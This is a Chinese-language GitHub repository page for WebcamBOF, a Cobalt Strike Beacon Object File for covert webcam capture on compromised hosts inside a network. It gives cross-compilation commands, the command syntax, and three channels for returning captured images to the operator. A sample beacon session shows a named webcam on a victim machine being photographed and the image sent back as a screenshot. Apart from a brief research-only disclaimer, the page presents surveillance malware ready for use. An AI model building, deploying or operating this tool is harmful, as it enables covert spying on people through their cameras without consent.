Skip to content

About

Cobalt Strike 环境下的内网摄像头隐蔽捕获模块

Resources

Stars

8 stars

Watchers

1 watching

Forks

Latest commit

 

History

1 Commit

Folders and files

Repository files navigation

WebcamBOF

Cobalt Strike 环境下的内网摄像头隐蔽捕获模块 (Beacon Object File)。

本仓库基于原有实现进行了核心算法与内存架构的重构,解决了原版在特定环境下的稳定性与画质问题。

技术重构说明

  1. 分辨率自适应探测:移除了硬编码的默认媒体类型探测。引入底层 MFEnumDeviceSources 枚举流,实时计算分配最大硬件支持分辨率(支持 1080P/4K)。
  2. 重定位劫持修复 (COFF):由于 x64 架构下 Beacon COFF Loader 偶尔对未导出指针造成地址截断,重构去除了静态代理数组,全量改写为纯动态环境下的 IsEqualGUID 函数分配机制。
  3. 传感器指令校准:原版代码由于抢占读取,在 CMOS 自动曝光调节前会捕获到绿屏或废帧。现实现丢帧预热机制 (dropFrames=15),等待硬件完成白平衡状态同步。
  4. 色度空间转换边界防溢出:修正了 TransformImage_NV12 的位运算逻辑漏洞。原版对负值亮度的右移操作会导致整型溢出,现已采用带边界限制的安全除法模块替代,解决暗部伪彩现象。

编译方法

执行交叉编译,产出物将生成在 WebcamBOF 目录中:

# 64位 Beacon 模块
x86_64-w64-mingw32-gcc -o WebcamBOF/WebcamBOF.x64.obj -I .common -Os -fno-weak -fno-function-sections -fno-inline -fno-common -fno-data-sections -w -c entry.c -DBOF

# 32位 Beacon 模块
i686-w64-mingw32-gcc -o WebcamBOF/WebcamBOF.x86.obj -I .common -Os -fno-weak -fno-function-sections -fno-inline -fno-common -fno-data-sections -w -c entry.c -DBOF

使用指南

  1. 在 Cobalt Strike (Script Manager) 导入脚本: WebcamBOF/webcamBOF.cna
  2. 在目标 Beacon 终端中直接调用:

语法: webcam <文件保存名> <回传通道配置>

协议通道配置:

  • 0: 图像落盘(在目标主机当前工作目录写入文件)
  • 1: Beacon 静态文件下载(不落盘通信)
  • 2: Beacon 隐蔽截屏通道(直接在控制台流式渲染)

交互示例:

beacon> webcam target_cam.jpeg 2
[*] Running Webcam by Y3X1L2
[+] host called home, sent: 35817 bytes
[*] Initializing webcam
[*] Device 0: HP 320 FHD Webcam
[*] Capturing image data
[*] Downloading JPEG over beacon as a screenshot
[*] received screenshot of Webcam from Admin (328kb)

参阅与致谢

核心架构实现。 部分逆向逻辑及组件参考:

免责申明

提供研究目的。严禁将其用于未授权的入侵与攻击行为。

About

Cobalt Strike 环境下的内网摄像头隐蔽捕获模块

Resources

Stars

8 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages